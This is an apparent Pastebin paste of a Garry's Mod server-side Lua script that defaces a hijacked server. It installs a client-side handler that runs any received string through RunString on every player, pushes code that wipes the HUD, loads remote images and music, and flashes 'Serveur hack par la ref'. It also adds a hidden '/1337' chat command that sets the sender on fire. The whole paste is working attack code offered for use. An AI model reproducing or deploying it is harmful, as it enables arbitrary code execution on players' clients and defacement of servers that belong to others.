Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2019
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.26 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Ce serveur utilise des leaks, go quitter !!" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "https://soundcloud.com/16yrold/mobamba", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.5, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://imgur.com/9CvkJkr", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://imgur.com/9CvkJkr", "hud2", 300, 128 )
  101. LoadWebMaterial( "https://imgur.com/9CvkJkr", "hud3", 128, 128 )
  102. LoadWebMaterial( "https://imgur.com/9CvkJkr", "doritos", 183, 256 )
  103. LoadWebMaterial( "https://imgur.com/9CvkJkr", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://imgur.com/9CvkJkr", "dew", 110, 256 )
  105. LoadWebMaterial( "https://imgur.com/9CvkJkr", "awp", 256, 55 )
  106. ]=]):format(lol.m_strImageLoadHTML) )
  107. end )
  108.  
  109. --HUD swap
  110. lol:PushAction( 31, function( pPlayer )
  111. lol:SendLua( pPlayer, [[
  112. (GAMEMODE or GM).CalcView = function() end
  113. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  114.  
  115. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  116. for k, v in pairs(remove) do
  117. hook.GetTable()[v] = {}
  118. end
  119.  
  120. local function GetWebMat( strURL )
  121. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  122. end
  123.  
  124. hook.Add( "HUDPaint", "newhud", function()
  125. surface.SetDrawColor( 255, 255, 255, 255 )
  126.  
  127. if GetWebMat( "hud1" ) then
  128. surface.SetMaterial( GetWebMat("hud1")[1] )
  129. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  130. end
  131. if GetWebMat( "hud2" ) then
  132. surface.SetMaterial( GetWebMat("hud2")[1] )
  133. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  134. end
  135. if GetWebMat( "hud3" ) then
  136. surface.SetMaterial( GetWebMat("hud3")[1] )
  137. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  138. end
  139. if GetWebMat( "doritos" ) then
  140. surface.SetMaterial( GetWebMat("doritos")[1] )
  141. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  142. end
  143. if GetWebMat( "dew" ) then
  144. surface.SetMaterial( GetWebMat("dew")[1] )
  145. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  146. end
  147. if GetWebMat( "fedora" ) then
  148. surface.SetMaterial( GetWebMat("fedora")[1] )
  149. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  150. end
  151. if GetWebMat( "awp" ) then
  152. surface.SetMaterial( GetWebMat("awp")[1] )
  153. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  154. end
  155.  
  156. draw.SimpleTextOutlined(
  157. "Serveur hack par la ref",
  158. "DermaLarge",
  159. ScrW() /2 +math.random( -8, 8 ),
  160. ScrH() /2 +math.random( -8, 8 ) +64,
  161. Color( 255, 0, 0, 255 ),
  162. TEXT_ALIGN_CENTER,
  163. TEXT_ALIGN_CENTER,
  164. 1,
  165. Color( 0, 0, 255, 255 )
  166. )
  167.  
  168. draw.SimpleTextOutlined(
  169. "Serveur hack par la ref",
  170. "DermaLarge",
  171. ScrW() /2 +math.random( -8, 8 ),
  172. ScrH() /2 +math.random( -8, 8 ) +24,
  173. Color( 255, 0, 0, 255 ),
  174. TEXT_ALIGN_CENTER,
  175. TEXT_ALIGN_CENTER,
  176. 1,
  177. Color( 0, 0, 255, 255 )
  178. )
  179. end )
  180.  
  181. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  182. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  183.  
  184. surface.PlaySound( "garrysmod/save_load4.wav" )
  185. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  186. ]] )
  187. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement